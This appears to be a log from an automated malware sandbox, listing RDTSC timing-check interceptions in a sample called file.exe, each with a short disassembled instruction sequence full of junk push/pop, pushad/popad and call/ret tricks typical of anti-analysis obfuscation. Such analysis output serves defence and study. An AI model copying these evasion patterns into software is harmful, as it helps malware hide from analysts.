Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE30 second address: 75DE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE34 second address: 75DE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE3A second address: 75DEDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63E4B4E53Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D2D5Ch], edx 0x00000014 mov ebx, dword ptr [ebp+12474DD9h] 0x0000001a mov dword ptr [ebp+122D1B94h], edx 0x00000020 add eax, ebx 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F63E4B4E538h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov edi, dword ptr [ebp+122D395Bh] 0x00000042 push eax 0x00000043 jmp 00007F63E4B4E545h 0x00000048 mov dword ptr [esp], eax 0x0000004b call 00007F63E4B4E53Eh 0x00000050 mov edi, dword ptr [ebp+122D2C60h] 0x00000056 pop edx 0x00000057 push 00000004h 0x00000059 mov ecx, dword ptr [ebp+122D38C7h] 0x0000005f nop 0x00000060 jng 00007F63E4B4E544h 0x00000066 jmp 00007F63E4B4E53Eh 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DEDF second address: 75DEE9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8AAD second address: 7B8AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8AB1 second address: 7B8AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63E4787951h 0x0000000b push edi 0x0000000c jmp 00007F63E478794Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94D8 second address: 7B94E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94E0 second address: 7B94E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94E4 second address: 7B94E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94E8 second address: 7B94EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94EE second address: 7B94F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94F8 second address: 7B94FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B94FC second address: 7B9512 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F63E4B4E53Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0703 second address: 7C0707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C097F second address: 7C0996 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63E4B4E53Ch 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0996 second address: 7C099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C099C second address: 7C09AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F63E4B4E536h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C09AF second address: 7C09B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C5E second address: 7C0C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C65 second address: 7C0C78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C78 second address: 7C0C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1553 second address: 7C1559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1559 second address: 7C1596 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F63E4B4E53Ch 0x00000008 jmp 00007F63E4B4E548h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F63E4B4E53Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1596 second address: 7C15A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1BE0 second address: 7C1BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1BE5 second address: 7C1BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1F1C second address: 7C1F4E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F63E4B4E54Eh 0x00000010 jmp 00007F63E4B4E546h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007F63E4B4E536h 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C252A second address: 7C252E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C252E second address: 7C2532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2532 second address: 7C2545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63E478794Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C724E second address: 7C7254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA7B4 second address: 7CA7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F63E4787946h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA7C3 second address: 7CA7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA7C7 second address: 7CA7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4787953h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA7E3 second address: 7CA7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAEEA second address: 7CAF0C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F63E4787955h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAF0C second address: 7CAF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F63E4B4E545h 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAF32 second address: 7CAF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAF3B second address: 7CAF42 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D21F0 second address: 7D220C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4787958h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D220C second address: 7D2216 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2216 second address: 7D222E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Ch 0x00000007 push ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D237C second address: 7D2385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D24D9 second address: 7D24F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F63E478795Bh 0x0000000a jmp 00007F63E4787955h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2681 second address: 7D2685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2685 second address: 7D26B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4787956h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63E4787951h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D26B6 second address: 7D26BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2B05 second address: 7D2B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F63E4787950h 0x0000000d jo 00007F63E4787946h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2B23 second address: 7D2B45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F63E4B4E536h 0x0000000e jmp 00007F63E4B4E544h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D182A second address: 7D182E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB8DA second address: 7DB8EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Bh 0x00000007 jno 00007F63E4B4E536h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721474 second address: 721480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 js 00007F63E4787946h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB45C second address: 7DB464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB464 second address: 7DB473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F63E4787946h 0x0000000a popad 0x0000000b push ebx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB473 second address: 7DB47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB47B second address: 7DB481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB481 second address: 7DB487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD0BD second address: 7DD0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD0C5 second address: 7DD0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8B63 second address: 7E8B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD75 second address: 7ECD85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F63E4B4E536h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD85 second address: 7ECD89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBD4A second address: 7FBD5C instructions: 0x00000000 rdtsc 0x00000002 je 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F63E4B4E536h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBD5C second address: 7FBD60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD38D second address: 7FD397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F63E4B4E536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8044AA second address: 8044C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F63E4787952h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8044C4 second address: 804500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F63E4B4E549h 0x00000011 pop edx 0x00000012 pushad 0x00000013 ja 00007F63E4B4E536h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8047C0 second address: 804811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F63E4787946h 0x0000000a jmp 00007F63E4787958h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 jmp 00007F63E4787952h 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F63E478794Dh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 jg 00007F63E4787946h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804811 second address: 804817 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804973 second address: 804979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804979 second address: 8049D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F63E4B4E536h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F63E4B4E542h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jnl 00007F63E4B4E554h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F63E4B4E548h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80849F second address: 8084A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8084A3 second address: 8084A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8084A7 second address: 8084B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8084B4 second address: 8084BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8084BA second address: 8084BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8084BE second address: 8084DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4B4E53Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 jnc 00007F63E4B4E536h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8081D6 second address: 8081DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81647B second address: 81647F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819F08 second address: 819F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819F0C second address: 819F32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Ch 0x00000007 jmp 00007F63E4B4E546h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819D7D second address: 819D9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F63E4787958h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82857B second address: 8285BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F63E4B4E543h 0x0000000f pushad 0x00000010 jmp 00007F63E4B4E544h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285BB second address: 8285C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F63E4787946h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EE0B second address: 83EE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DCD2 second address: 83DCD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DF67 second address: 83DF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E801 second address: 83E806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E806 second address: 83E80C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E80C second address: 83E817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EB34 second address: 83EB38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84177E second address: 841788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F63E4787946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8418FA second address: 841900 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8419A8 second address: 8419B2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8419B2 second address: 841A46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F63E4B4E547h 0x0000000e nop 0x0000000f mov edx, dword ptr [ebp+122D2C41h] 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F63E4B4E538h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 sub dl, 00000022h 0x00000034 call 00007F63E4B4E539h 0x00000039 jmp 00007F63E4B4E53Ch 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F63E4B4E549h 0x00000045 pop edx 0x00000046 mov eax, dword ptr [esp+04h] 0x0000004a pushad 0x0000004b jmp 00007F63E4B4E53Ch 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841A46 second address: 841A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F63E4787957h 0x00000011 rdtsc
